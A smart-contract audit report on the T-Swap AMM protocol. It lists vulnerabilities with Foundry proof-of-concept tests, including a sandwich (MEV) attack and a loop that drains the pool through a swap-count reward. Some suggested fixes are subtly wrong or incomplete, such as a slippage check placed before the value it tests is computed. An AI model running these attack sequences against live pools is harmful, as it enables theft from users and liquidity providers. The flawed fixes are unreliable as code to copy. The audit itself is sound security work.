T-Swap Protocol Audit Report

Version 1.0

Lulox

July 2, 2024

T-Swap Protocol Audit Report

Lulox

July 02, 2024

Prepared by: Lulox Lead Auditors:

- Lulox

Table of Contents

Protocol Summary

This project is meant to be a permissionless way for users to swap assets between each other at a fair price. You can think of T-Swap as a decentralized asset/token exchange (DEX). T-Swap is known as an Automated Market Maker (AMM) because it doesn't use a normal "order book" style exchange, instead it uses "Pools" of an asset. It is similar to Uniswap. To understand Uniswap, please watch this video: Uniswap Explained

The core invariant of the protocol is: **x * y = k.** In practice though, the protocol takes fees and actually increases k. So we need to make sure x * y = k before fees are applied.

Disclaimer

The Lulox team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash: `8803f851f6b37e99eab2e94b4690c8b70e26b3f6`

Scope

```
./src/
#-- PoolFactory.sol
#-- TSwapPool.sol
```

Solc Version: 0.8.20 Chain(s) to deploy contract to: Ethereum Tokens: Any ERC20 token

Roles

- Liquidity Providers: Users who have liquidity deposited into the pools. Their shares are represented by the LP ERC20 tokens. They gain a 0.3% fee every time a swap is made.
- Users: Users who want to swap tokens

Executive Summary

Issues found

Severity	Number of issues found
High	5
Medium	3
Low	3
Info	5
Gas	4
Total	20

Findings

High

[H-1] Incorrect fee calculation in `TSwapPool::getInputAmountBasedOnOutput` causes `TSwapPool:swapExactOutput` to take a ~90% fee from users

Description: The `getInputAmountBasedOnOutput` function is intended to calculate the amount of tokens a user should send in exchange of a specific amount of output tokens. However, the function currently miscalculates the resulting amount. When calculating the fee, it scales the amount by `10000` instead of `1000` required to calculate the 0.3% fee specified in the project's `README.md`.

It reads: "The TSwap protocol accrues fees from users who make swaps. **Every swap has a 0.3 fee**, represented in getInputAmountBasedOnOutput and getOutputAmountBasedOnInput. **Each applies a 997 out of 1000 multiplier**. That fee stays in the protocol."

Impact: Protocol takes more fees than expected from users.

Correct calculation of the fee should be:

997 out of 1000

997 / 1000 = 0.997 | Multiplier

0.997 * 100 = 99.7% | Total after fee

100% - 99.7% = 0.3% | Fee

However, `getInputAmountBasedOnOutput` currently calculates the fee as:

997 out of 10000

997 / 10000 = 0.0997 | Multiplier

0.0997 * 100 = 9.97% | Total after fee

100% - 9.97% = 90.03% | Fee

Proof of Concept: Every time a user swaps with `TSwapPool:swapExactOutput`, fee is miscalculated.

Include this test in `TSwapPool.t.sol`:

Proof of Code

```
function testGetInputAmountBasedOnOutputIncorrectFeeCalculation()
    public {
        // Liquidity provider adds liquidity to the pool
        testDeposit();

        // User starts out with 10e18 pool tokens, but only intends to
            spend one
        uint256 intendedInput = 1e18;
        uint256 userPoolTokenBalanceBefore = poolToken.balanceOf(
            address(user));
        console.log("User pool token balance before: ",
            userPoolTokenBalanceBefore);
        console.log("Intended input: ", intendedInput);
        // We calculate the expected output amount based on the input
            amount we're willing to spend
        uint256 expectedOutput = pool.getOutputAmountBasedOnInput(
            intendedInput, poolToken.balanceOf(address(pool)), weth.
                balanceOf(address(pool))
        );

        vm.startPrank(user);
        // User approves more tokens than its willing to swap
        poolToken.approve(address(pool), type(uint256).max);
        // swapExactOutput returns the actual input amount incorrectly
            given by getInputAmountBasedOnOutput
        uint256 actualInput = pool.swapExactOutput(poolToken, weth,
            expectedOutput, uint64(block.timestamp));
        uint256 userPoolTokenBalanceAfter = poolToken.balanceOf(address
            (user));
        console.log("Actual input: ", actualInput);
        console.log("User pool token balance after: ",
            userPoolTokenBalanceAfter);

        // The intended input amount is different from the actual input
             amount
        assert(actualInput > intendedInput);
        assert(userPoolTokenBalanceBefore - userPoolTokenBalanceAfter >
             intendedInput);
        // The swap drained more than 90% of the user's pool tokens
        assert(userPoolTokenBalanceAfter < 1e18);
    }
```

Recommended Mitigation:

Don't use magic numbers, declare them as constants instead.

```
+    uint256 private constant PRECISION = 1000;
+    uint256 private constant FEE = 997;
.
.
.
 function getInputAmountBasedOnOutput(
        uint256 outputAmount,
        uint256 inputReserves,
        uint256 outputReserves
    )
        public
        pure
        revertIfZero(outputAmount)
        revertIfZero(outputReserves)
        returns (uint256 inputAmount)
    {
-          return ((inputReserves * outputAmount) * 10000) / ((
     outputReserves - outputAmount) * 997);
+          return ((inputReserves * outputAmount) * PRECISION) / ((
     outputReserves - outputAmount) * FEE);
    }
```

[H-2] Lack of slippage protection in `TSwapPool::swapExactOutput` exposes user to MEV and causes to spend more than expected

Description: The `TSwapPool::swapExactOutput` function does not include any sort of slippage protection. This function is similar to what is done in `TSwapPool::swapExactInput`, where the function specifies a `minOutputAmount`, the `swapExactOutput` function should specify a `maxInputAmount` to limit the amount of tokens the user is willing to pay.

Impact: This vulnerability makes the user succeptible to MEV (sandwich attacks and frontrunning attacks).

Any user on the Ethereum network has the ability to watch for new transactions being sent to the network. When the attacker sees a large victim transaction that they want to front run come in, they can create a similar transaction that would move the market up. They then increase their gas fees to ensure that their order gets executed first. The attacker transaction executes, raising the price of the asset, and then the victim transaction executes at the higher price. The attacker is then free to exit the position immediately, pocketing the difference, having never exposed themselves to any risk.

Sophisicated front-runners will likely call these transactions from their own contract addresses to make sure they end up with the prices they expect, and don't collide with other front-runners.

For example:

1. The price of 1 WETH right now is 1000 USDC
2. User inputs a `swapExactOutput` looking for 1 WETH
    1. inputToken = USDC
    2. outputToken = WETH
    3. outputAmount = 1
    4. deadline = whatever
3. The function does not offer a maxInput Amount
4. As the transaction is pending in the mempool, the market changes! And the price moves HUGE -> 1 WETH is now 10000 USDC. 10x more than the user expected.
5. The transaction completes, but the user sent the protocol 10000 USDC instead of the expected 1000 USDC.

Proof of Concept:

Proof of Code

Add this test to `TSwapPool.t.sol`:

```
    function testSwapExactOutputLackOfSlippageProtection() public {
        vm.startPrank(liquidityProvider);
```

```solidity
        weth.approve(address(pool), 100e18);
        poolToken.approve(address(pool), 100e18);
        pool.deposit(100e18, 100e18, 100e18, uint64(block.timestamp));
        vm.stopPrank();

        // This is what the user estimates that will receive after the swap
        uint256 OUTPUT_WETH = 1e17;
        uint256 expectedPoolTokenToSpend = pool.getInputAmountBasedOnOutput(
            OUTPUT_WETH, poolToken.balanceOf(address(pool)), weth.balanceOf(address(pool))
        );

        // mevAttacker sees the transaction of the user and puts this before on the mempool
        address mevAttacker = makeAddr("mevAttacker");
        vm.startPrank(mevAttacker);
        // We assume the attack comes from a whale or after a flashloan
        uint256 MEV_POOL_TOKENS = 50e18;
        poolToken.mint(mevAttacker, MEV_POOL_TOKENS);
        poolToken.approve(address(pool), type(uint256).max);
        pool.swapExactInput(poolToken, MEV_POOL_TOKENS, weth, 0, uint64(block.timestamp));
        vm.stopPrank();

        // User transaction goes through
        vm.startPrank(user);
        poolToken.approve(address(pool), type(uint256).max);
        poolToken.mint(user, 100e18);
        uint256 poolTokensSpentByUser = pool.swapExactOutput(poolToken, weth, OUTPUT_WETH, uint64(block.timestamp));
        vm.stopPrank();

        // mevAttacker completes the sandwich and takes profits
        vm.startPrank(mevAttacker);
        weth.approve(address(pool), type(uint256).max);
        uint256 wethBalanceOfMevAttacker = weth.balanceOf(address(mevAttacker));
        pool.swapExactInput(weth, wethBalanceOfMevAttacker, poolToken, 0, uint64(block.timestamp));
        vm.stopPrank();

        uint256 poolTokenBalanceOfMevAttackerAfterSandwich = poolToken.balanceOf(address(mevAttacker));

        assert(poolTokenBalanceOfMevAttackerAfterSandwich > MEV_POOL_TOKENS);
        assert(poolTokensSpentByUser > expectedPoolTokenToSpend);
    }
```

Recommended Mitigation: Include a `maxInputAmount` so the user only has to spend up to a specific amount, and can predict how much they will spend on the protocol.

```
    function swapExactOutput(
          IERC20 inputToken,
          IERC20 outputToken,
          uint256 outputAmount,
+         uint256 maxInputAmount
          uint64 deadline
      )
          public
          revertIfZero(outputAmount)
          revertIfDeadlinePassed(deadline)
          returns (uint256 inputAmount)
      {
          uint256 inputReserves = inputToken.balanceOf(address(this));
          uint256 outputReserves = outputToken.balanceOf(address(this));

+         if (inputAmount > maxInputAmount) {
+              revert TSwapPool__InputTooHigh(inputAmount, maxInputAmount
    );
+         }

          inputAmount = getInputAmountBasedOnOutput(outputAmount,
             inputReserves, outputReserves);

          _swap(inputToken, inputAmount, outputToken, outputAmount);
      }
```

[H-3] `TSwapPool::sellPoolTokens` mismatches input and output tokens causing users to spend more than intended

Description: The `TSwapPool::sellPoolTokens` function is intended to allow users to easily sell pool tokens and receive WETH in exchange. Users indicate how many pool tokens they're willing to sell in the `poolTokenAmount` parameter. However, the function currently miscalculates the swapped amount, making the user spend more than intended to get the exact amount of WETH specified in the parameter.

Impact: Users will swap the wrong amount of tokens, which breaks the protocol functionality.

Proof of Concept:

```
      function testSellPoolTokensWorksBackwards() public {
          vm.startPrank(liquidityProvider);
          weth.approve(address(pool), 100e18);
          poolToken.approve(address(pool), 100e18);
          pool.deposit(100e18, 100e18, 100e18, uint64(block.timestamp));
```

```
        vm.stopPrank();

        uint256 USER_POOL_TOKENS = 1e18;
        poolToken.mint(user, USER_POOL_TOKENS);
        uint256 balanceWethBefore = weth.balanceOf(address(user));
        uint256 balancePoolTokenBefore = poolToken.balanceOf(address(
            user));

        vm.startPrank(user);
        poolToken.approve(address(pool), type(uint256).max);
        pool.sellPoolTokens(USER_POOL_TOKENS);

        uint256 balanceWethAfter = weth.balanceOf(address(user));
        uint256 balancePoolTokenAfter = poolToken.balanceOf(address(
            user));
        // Here we assert that the user bought the amount of WETH
            specified in the parameter of sellPoolTokens
        assert(balanceWethAfter - balanceWethBefore == USER_POOL_TOKENS
            );
        // And here we assert the sellPoolTokens makes the user spend
            more than intended in the badly named parameter
        assert(balancePoolTokenBefore - balancePoolTokenAfter >
            USER_POOL_TOKENS);
    }
```

Recommended Mitigation: Consider changing the implementation to use `swapExactInput` instead of `swapExactOutput`. Note that this would also require changing the `sellPoolTokens` function to accept a new parameter (ie `minWethToReceive` to be passed to `swapExactInput`).

```
    function sellPoolTokens(
     uint256 poolTokenAmount,
+     uint256 minWethToReceive
     ) external returns (uint256 wethAmount) {
-        return swapExactOutput(i_poolToken, i_wethToken,
    poolTokenAmount, uint64(block.timestamp));
+        return swapExactInput(i_poolToken, poolTokenAmount,
    i_wethToken, minWethToReceive, uint64(block.timestamp));
     }
```

Additionally, it might be wise to add a deadline to the function, as there is currently no deadline. MEV later

[H-4] `TSwapPool::_swap` incentive breaks the protocol invariant of x * y = k and allows draining the contract

Description: The following block of code is responsible for the issue:

```
swap_count++;
```

```
if (swap_count >= SWAP_COUNT_MAX) {
  swap_count = 0;
  outputToken.safeTransfer(msg.sender, 1_000_000_000_000_000_000);
}
```

An attacker could drain the tokens from both pools by getting this incentive with low value transactions.

Also, the protocol follows a strict invariant of `x * y = k` (plus fees). Where:

- `x` is the amount of the pool token
- `y` is the amount of the WETH token
- `k` is the constant product of the two balances

This means that whenever the balances change in the protocol, the ratio between the two amounts should remain constant, hence the `k`. However, this is broken due to the extra incentive in the `_swap` function. Meaning that over time, the procotol funds will be drained.

The following block of code is responsible for the issue:

```
swap_count++;
if (swap_count >= SWAP_COUNT_MAX) {
  swap_count = 0;
  outputToken.safeTransfer(msg.sender, 1_000_000_000_000_000_000);
}
```

Impact: A user could maliciously drain the protocol of funds by doing a lot of swaps and collecting the extra incentive given out by the protocol.

Most simply put, the protocol's core invariant is broken.

Proof of Concept:

1. A user swaps 10 times, and collects the extra incentive of `1_000_000_000_000_000_000` tokens
2. The user continues to swap until all the protocol funds are drained

Draining contract Proof of Code

```
    function testSwapCountAllowsDrainingTheContract() public {
       vm.startPrank(liquidityProvider);
       weth.approve(address(pool), 10e18);
       poolToken.approve(address(pool), 10e18);
       pool.deposit(10e18, 10e18, 10e18, uint64(block.timestamp));
       vm.stopPrank();

       address attacker = makeAddr("attacker");
       weth.mint(attacker, 1e18);
```

```
        poolToken.mint(attacker, 1e18);

        vm.startPrank(attacker);
        poolToken.approve(address(pool), 1e18);
        weth.approve(address(pool), 1e18);
        for (uint256 i = 0; i < 90; i++) {
            pool.swapExactInput(poolToken, 1e15, weth, 0, uint64(block.
                timestamp));
        }
        for (uint256 i = 0; i < 90; i++) {
            pool.swapExactInput(weth, 1e15, poolToken, 0, uint64(block.
                timestamp));
        }
        vm.stopPrank();

        // Attacker ends with more than intended, and pool gets drained
            of its funds
        assert(poolToken.balanceOf(attacker) > 9e18);
        assert(weth.balanceOf(attacker) > 9e18);
        assert(weth.balanceOf(address(pool)) < 2e18);
        assert(poolToken.balanceOf(address(pool)) < 2e18);
    }
```

Invariant Break Proof of Code

```
    function testInvariantBreak() public {
        vm.startPrank(liquidityProvider);
        weth.approve(address(pool), 100e18);
        poolToken.approve(address(pool), 100e18);
        pool.deposit(100e18, 100e18, 100e18, uint64(block.timestamp));
        vm.stopPrank();

        vm.startPrank(user);
        poolToken.approve(address(pool), type(uint256).max);
        poolToken.mint(user, 100e18);
        // We call swap 9 times to increase the swap_count
        uint256 outputWeth = 1e17;
        for (uint256 i = 0; i < 9; i++) {
            pool.swapExactOutput(poolToken, weth, outputWeth, uint64(
                block.timestamp));
        }

        int256 startingY = int256(weth.balanceOf(address(pool)));
        int256 expectedDeltaY = int256(-1) * int256(outputWeth);
        // The 10th swap gets the incentive and breaks the invariant
        pool.swapExactOutput(poolToken, weth, outputWeth, uint64(block.
            timestamp));
        vm.stopPrank();

        uint256 endingY = weth.balanceOf(address(pool));
        int256 actualDeltaY = int256(endingY) - int256(startingY);

        assertEq(actualDeltaY, expectedDeltaY);
    }
```

Recommended Mitigation: Remove the extra incentive mechanism.

```
-    uint256 private swap_count = 0;
-    uint256 private constant SWAP_COUNT_MAX = 10;
.
.
.
-      swap_count++;
-        if (swap_count >= SWAP_COUNT_MAX) {
-            swap_count = 0;
-            outputToken.safeTransfer(msg.sender, 1
    _000_000_000_000_000_000);
-        }
```

[H-5] Missing slippage protection in `TSwapPool::sellPoolTokens` allows MEV searchers to profit from user

Relevant GitHub links:

TSwapPool.sol#L363

Description:

The transaction can be front-run or back-run by a MEV searcher, who can manipulate the order of transactions in a block to their advantage, thus extracting value from the user's transaction. This can be done by reordering transactions in a block to maximize the MEV searcher's profit.

Also, sellPoolTokens has a parameter called poolTokenAmount, which is the amount of pool tokens the user wants to sell. However, this is misleading, as the function actually calls swapExactOutput, and thus the parameter calculates the amount of WETH the user expects to receive. This can lead to the user spending more pool tokens than expected, either calculated or intended.

Impact:

This vulnerability makes the user succeptible to MEV (sandwich attacks and frontrunning attacks).

Any user on the Ethereum network has the ability to watch for new transactions being sent to the network. When the attacker sees a large victim transaction that they want to front run come in, they can create a similar transaction that would move the market up. They then increase their gas fees to ensure that their order gets executed first. The attacker transaction executes, raising the price of the asset, and then the victim transaction executes at the higher price. The attacker is then free to exit the position immediately, pocketing the difference, having never exposed themselves to any risk.

Sophisicated front-runners will likely call these transactions from their own contract addresses to make sure they end up with the prices they expect, and don't collide with other front-runners.

Proof of Concept:

Include this test in `TSwapPool.t.sol`:

Proof of Code

```
    function testSellPoolTokensLackOfSlippageProtection() public {
        vm.startPrank(liquidityProvider);
        weth.approve(address(pool), 100e18);
        poolToken.approve(address(pool), 100e18);
        pool.deposit(100e18, 100e18, 100e18, uint64(block.timestamp));
        vm.stopPrank();

        uint256 userPoolTokenStartingBalance = poolToken.balanceOf(address(user));
        uint256 userWethStartingBalance = weth.balanceOf(address(user));
        // This is what the user estimates that will receive after calling the function
        uint256 wethToReceive = 1e18;
        // Because of how sellPoolTokens is written, the userPoolTokensToSell is actually the WETH amount to receive
        uint256 expectedPoolTokensToSpend = pool.getInputAmountBasedOnOutput(
            wethToReceive, poolToken.balanceOf(address(pool)), weth.balanceOf(address(pool))
        );

        // mevAttacker sees the transaction of the user and puts this before on the mempool
        address mevAttacker = makeAddr("mevAttacker");
        vm.startPrank(mevAttacker);
        // We assume the attack comes from a whale or after a flashloan
        uint256 mevAttackerPoolTokenBalanceBeforeSandwich = 50e18;
        poolToken.mint(mevAttacker, mevAttackerPoolTokenBalanceBeforeSandwich);
        poolToken.approve(address(pool), type(uint256).max);
        pool.swapExactInput(poolToken, mevAttackerPoolTokenBalanceBeforeSandwich, weth, 0, uint64(block.timestamp));
        vm.stopPrank();

        // User transaction goes through
        vm.startPrank(user);
        poolToken.approve(address(pool), type(uint256).max);
        poolToken.mint(user, 100e18);
        uint256 actualWethReceived = pool.sellPoolTokens(wethToReceive);
        vm.stopPrank();
        uint256 userPoolTokenEndingBalance = poolToken.balanceOf(
            address(user));
        uint256 userWethEndingBalance = weth.balanceOf(address(user));

        // mevAttacker completes the sandwich and takes profits
        vm.startPrank(mevAttacker);
        weth.approve(address(pool), type(uint256).max);
        pool.swapExactInput(weth, weth.balanceOf(address(mevAttacker)),
             poolToken, 0, uint64(block.timestamp));
        vm.stopPrank();

        // MEV attacker has more pool tokens than before the sandwich
        uint256 mevAttackerPoolTokenBalanceAfterSandwich = poolToken.
            balanceOf(address(mevAttacker));
        assert(mevAttackerPoolTokenBalanceAfterSandwich >
            mevAttackerPoolTokenBalanceBeforeSandwich);

        // Remember wethToReceive is actually the parameter
            poolTokenAmount in sellPoolTokens
        // User spends more pool tokens than expected, either
            calculated or intended
        assert(expectedPoolTokensToSpend < userPoolTokenEndingBalance -
             userPoolTokenStartingBalance);
        assert(wethToReceive < userPoolTokenEndingBalance -
            userPoolTokenStartingBalance);
        // sellPoolTokens returns more WETH than actually received by
            the user
        assert(actualWethReceived > userWethEndingBalance -
            userWethStartingBalance);
        // It's also more than the value specified in the (unintended)
            parameter of sellPoolTokens
        assert(actualWethReceived > wethToReceive);
    }
```

Recommended Mitigation:

1. Allow users to specify a slippage tolerance. This protects the user from executing a transaction in unfavorable conditions. Using `TSwapPool::swapExactInput` within `sellPoolTokens` instead of `TSwapPool::swapExactOutput` (which currently has no slippage protection) would allow the user to specify a `minOutputAmount` to set a floor in the amount of tokens the user is expecting to receive. This would protect the user from receiving fewer tokens than expected.

```
    function sellPoolTokens(
        uint256 poolTokenAmount,
        uint64 deadline
+         uint256 minWethToReceive
    ) external returns (uint256 wethAmount) {
```

```
-           return swapExactOutput(i_poolToken, i_wethToken,
    poolTokenAmount, deadline);
+           return swapExactInput(i_poolToken, poolTokenAmount,
    i_wethToken, minWethToReceive, deadline);
     }
```

2. Use Flashbots Protect to avoid MEV attacks.

Medium

[M-1] `TSwapPool::deposit` is missing deadline check, causing transactions to complete even after the deadline

Relevant GitHub links:

TSwapPool.sol#L117

Description: The deposit function accepts a deadline parameter, which according to the natspec is "The deadline for the transaction to be completed by". However, this parameter is never used. As a consequence, operations that add liquidity to the pool might be executed at unexpected times, in market conditions where the deposit rate is unfavorable.

Impact: The `deadline` parameter is unused. Transactions could be sent when market conditions are unfavorable to deposit, even when adding a deadline parameter.

Proof of Concept:

Include this test in `TSwapPool.t.sol`:

```
function testDepositIsMissingADeadlineCheck() public {
        // Liquidity provider adds liquidity to the pool
        testDeposit();

        // The user specifies a max deadline for the deposit to happen
        uint64 deadline = uint64(block.timestamp + 5 minutes);
        // The transaction stays pending longer than specified in the
            deadline parameter and goes through
        vm.warp(block.timestamp + 30 minutes);
        // We assert than the current block.timestamp is greater than
            the deadline
        assert(block.timestamp > deadline);

        vm.startPrank(user);
        poolToken.approve(address(pool), 1e18);
        weth.approve(address(pool), 1e18);
        // The user tries to deposit with a deadline in the past
        uint256 liquidityTokensMinted = pool.deposit(1e18, 1e18, 1e18,
            deadline);

        // Deposit goes through even though the deadline has passed,
            and liquidity tokens are minted
        assert(liquidityTokensMinted > 0);
    }
```

Recommended Mitigation: Consider making the following change to the function.

```
    function deposit(
        uint256 wethToDeposit,
        uint256 minimumLiquidityTokensToMint,
        uint256 maximumPoolTokensToDeposit,
        uint64 deadline
    )
        external
        revertIfZero(wethToDeposit)
+        revertIfDeadlinePassed(deadline)
        returns (uint256 liquidityTokensToMint)
```

[M-2] Missing deadline parameter in `TSwapPool::sellPoolTokens` allows pending transactions to be excluded

Relevant GitHub links:

TSwapPool.sol#L363

Description:

In Ethereum, miners have some control over the timestamp of the blocks they mine. This flexibility allows them to include or exclude certain transactions in a block and manipulate the timestamp within a certain range. Miners can slightly adjust the block.timestamp to make certain transactions valid or invalid depending on their preference. For example, if the deadline is set to block.timestamp, a miner could manipulate the timestamp to expire a transaction that they don't want to include or to profit from it in some other way.

Impact:

Using block.timestamp as the deadline parameter in a swap function on a Uniswap V1 clone can introduce a risk of Miner Extractable Value (MEV).

Recommended Mitigation:

1. Add a deadline parameter to the `sellPoolTokens` function to protect users from MEV attacks.

```
    function sellPoolTokens(
        uint256 poolTokenAmount
+        uint64 deadline
```

```
    ) external
+    revertIfDeadlinePassed(deadline)
    returns (uint256 wethAmount) {
        return swapExactOutput(i_poolToken, i_wethToken,
            poolTokenAmount, deadline);
    }
```

2. Use Flashbots Protect to call the transactions to avoid MEV attacks.

[M-3] Rebase, fee-on-transfer, and ERC777 tokens break protocol invariant

Low

[L-1] `TSwapPool::LiquidityAdded` event is emitted with paramters out of order, causing it to log incorrect information

Description: When the `LiquidityAdded` event is emitted in the `TSwapPool::_addLiquidityMintAndTran` function, it logs values in an incorrect order. The `poolTokensToDeposit` value should go in the third parameter position, whereas the `wethToDeposit` value should go second.

Impact: Event emission is incorrect, leading to off-chain function potentially malfunctioning.

Recommended Mitigation:

```
- emit LiquidityAdded(msg.sender, poolTokensToDeposit, wethToDeposit);
+ emit LiquidityAdded(msg.sender, wethToDeposit, poolTokensToDeposit);
```

[L-2] `TSwapPool::swapExactInput` doesn't specify what value to return, which makes it always return 0

Description: The `TSwapPool::swapExactInput` function is expected to return the actual amount of tokens bought by the caller. However, while it declares the named return `output`, it is never assigned a value, nor uses an explicit return statement.

Impact: The return value will always be 0, giving incorrect information to the caller.

Proof of Concept:

Include this test in `TSwapPool.t.sol`:

```
    function testWrongOutputInSwapExactInput() public {
        vm.startPrank(liquidityProvider);
        weth.approve(address(pool), 100e18);
        poolToken.approve(address(pool), 100e18);
        pool.deposit(100e18, 100e18, 100e18, uint64(block.timestamp));
        vm.stopPrank();

        uint256 expectedOutput =
            pool.getOutputAmountBasedOnInput(1e18, poolToken.balanceOf(address(pool)), weth.balanceOf(address(pool)));

        vm.startPrank(user);
        poolToken.approve(address(pool), 1e18);
        uint256 actualOutput = pool.swapExactInput(poolToken, 1e18, weth, 0, uint64(block.timestamp));

        // The expected the return value from swapExactInput isn't the same as the one calculated with
        // getOutputAmountBasedOnInput
        assert(actualOutput != expectedOutput);
        // swapExactInput always returns 0
        assertEq(actualOutput, 0);
    }
```

Recommended Mitigation:

```diff
        returns (
            uint256 output
        )
    {
        uint256 inputReserves = inputToken.balanceOf(address(this));
        uint256 outputReserves = outputToken.balanceOf(address(this));

-        uint256 outputAmount = getOutputAmountBasedOnInput(inputAmount, inputReserves, outputReserves);
+        output = getOutputAmountBasedOnInput(inputAmount, inputReserves, outputReserves);

-        if (outputAmount < minOutputAmount) {
-            revert TSwapPool__OutputTooLow(outputAmount, minOutputAmount);
+        if (output < minOutputAmount) {
+            revert TSwapPool__OutputTooLow(output, minOutputAmount);
        }

-        _swap(inputToken, inputAmount, outputToken, outputAmount);
+        _swap(inputToken, inputAmount, outputToken, output);
    }
```

[L-3] `TSwapPool::getPriceOfOnePoolTokenInWeth` returns incorrect price for tokens that don't use 18 decimals

Description: `getPriceOfOnePoolTokenInWeth` has a hardcoded `1e18` amount to account for one token. For tokens like USDC, that has 6 decimals, this function would return an incorrect price. Tokens with decimals higher than 18 would also return incorrect prices.

Tokens like LowDecimals.sol and HighDecimals.sol from weird-erc20 repo are simple examples of this tokens.

Impact: Pools of tokens with decimals different than 18 would get a wrong answer when calling `getPriceOfOnePoolTokenInWeth`

Recommended Mitigation:

Make the following changes to the function:

```
  function getPriceOfOnePoolTokenInWeth() external view returns (
     uint256) {
+        uint8 poolTokenDecimals = ERC20(address(i_poolToken)).decimals
   ();
+        uint256 onePoolToken = 10**uint256(poolTokenDecimals);
        return getOutputAmountBasedOnInput(
-            1e18, i_poolToken.balanceOf(address(this)), i_wethToken.
   balanceOf(address(this))
+            onePoolToken, i_poolToken.balanceOf(address(this)),
   i_wethToken.balanceOf(address(this))
        );
    }
```

Informational

[I-1] `PoolFactory::PoolFactory__PoolDoesNotExist` is not used and should be removed

Recommended Mitigation:

```
- error PoolFactory__PoolDoesNotExist(address tokenAddress);
```

[I-2] Lacking zero address checks in `PoolFactory` and `TSwapPool` constructor

Recommended Mitigation:

- Found in src/PoolFactory.sol Line: 41

```
    constructor(address wethToken) {
+       if(wethToken == address(0)) {
+           revert();
+       }
        i_wethToken = wethToken;
    }
```

- Found in src/TSwapPool.sol Line: 67

```
        constructor(
         address poolToken,
         address wethToken,
         string memory liquidityTokenName,
         string memory liquidityTokenSymbol
    )
        ERC20(liquidityTokenName, liquidityTokenSymbol)
    {
+       if(poolToken == address(0) || wethToken == address(0)) {
+           revert();
+       }
        i_wethToken = IERC20(wethToken);
        i_poolToken = IERC20(poolToken);
    } constructor(address tokenA, address tokenB, address factory) {
```

[I-3] `PoolFactory::createPool` should use `.symbol()` instead of `.name()`

Description:

Impact:

Proof of Concept:

Recommended Mitigation:

```
-     string memory liquidityTokenSymbol = string.concat("ts", IERC20(
    tokenAddress).name());
+     string memory liquidityTokenSymbol = string.concat("ts", IERC20(
    tokenAddress).symbol());
```

[I-4]: Event is missing `indexed` fields

Index event fields make the field more quickly accessible to off-chain tools that parse events. However, note that each index field costs extra gas during emission, so it's not necessarily best to index the maximum allowed per event (three fields). Each event should use three indexed fields if there are three or more fields, and gas usage is not particularly of concern for the events in question. If there are fewer than three fields, all of the fields should be indexed.

4 Found Instances

- Found in src/PoolFactory.sol Line: 36

  ```
      event PoolCreated(address tokenAddress, address poolAddress);
  ```

- Found in src/TSwapPool.sol Line: 43

  ```
      event LiquidityAdded(address indexed liquidityProvider,
          uint256 wethDeposited, uint256 poolTokensDeposited);
  ```

- Found in src/TSwapPool.sol Line: 44

  ```
      event LiquidityRemoved(address indexed liquidityProvider,
          uint256 wethWithdrawn, uint256 poolTokensWithdrawn);
  ```

- Found in src/TSwapPool.sol Line: 46

  ```
      event Swap(address indexed swapper, IERC20 tokenIn, uint256
          amountTokenIn, IERC20 tokenOut, uint256 amountTokenOut);
  ```

[I-5] Functions are missing natspec comments and should be added

Description: The functions `PoolFactory::createPool`, `TSwapPool::swapExactInput` and `TSwapPool::swapExactOutput` are missing natspec comments. These comments are important for developers to understand the purpose of the functions and how to interact with them.

Gas

[G-1] `PoolFactory__PoolDoesNotExist` isn't used and should be removed

Description: The `PoolFactory__PoolDoesNotExist` error is declared but never used in the codebase. This is a waste of gas.

Recommended Mitigation:

```
- error PoolFactory__PoolDoesNotExist(address tokenAddress);
```

[G-2] `swapExactInput` is not used internally and could be turned into external

Instead of marking a function as `public`, consider marking it as `external` if it is not used internally. This saves gas.

```
        function swapExactInput(
         IERC20 inputToken,
         uint256 inputAmount,
         IERC20 outputToken,
         uint256 minOutputAmount,
         uint64 deadline
     )
-          public
+          external
```

[G-3] Unused variable in `TSwapPool::deposit` is a waste of gas

Description: The `TSwapPool::deposit` function has an unused variable `poolTokenReserves`. This variable is assigned a value but never used in the function. This is a waste of gas.

Recommended Mitigation:

```
- uint256 poolTokenReserves = i_poolToken.balanceOf(address(this));
```

[G-4] Unnecesary parameter in `TSwapPool__WethDepositAmountTooLow` error

Description: The `TSwapPool__WethDepositAmountTooLow` error includes the `MINIMUM_WETH_LIQUIDITY` parameter, which is always the same number. This wastes gas. This parameter is not necessary and should be removed.

Recommended Mitigation:

```
- error TSwapPool__WethDepositAmountTooLow(uint256 minimumWethDeposit,
    uint256 wethToDeposit);
+ error TSwapPool__WethDepositAmountTooLow(uint256 wethToDeposit);
.
.
.
 if (wethToDeposit < MINIMUM_WETH_LIQUIDITY) {
-              revert TSwapPool__WethDepositAmountTooLow(
    MINIMUM_WETH_LIQUIDITY, wethToDeposit);
+              revert TSwapPool__WethDepositAmountTooLow(wethToDeposit);
         }
```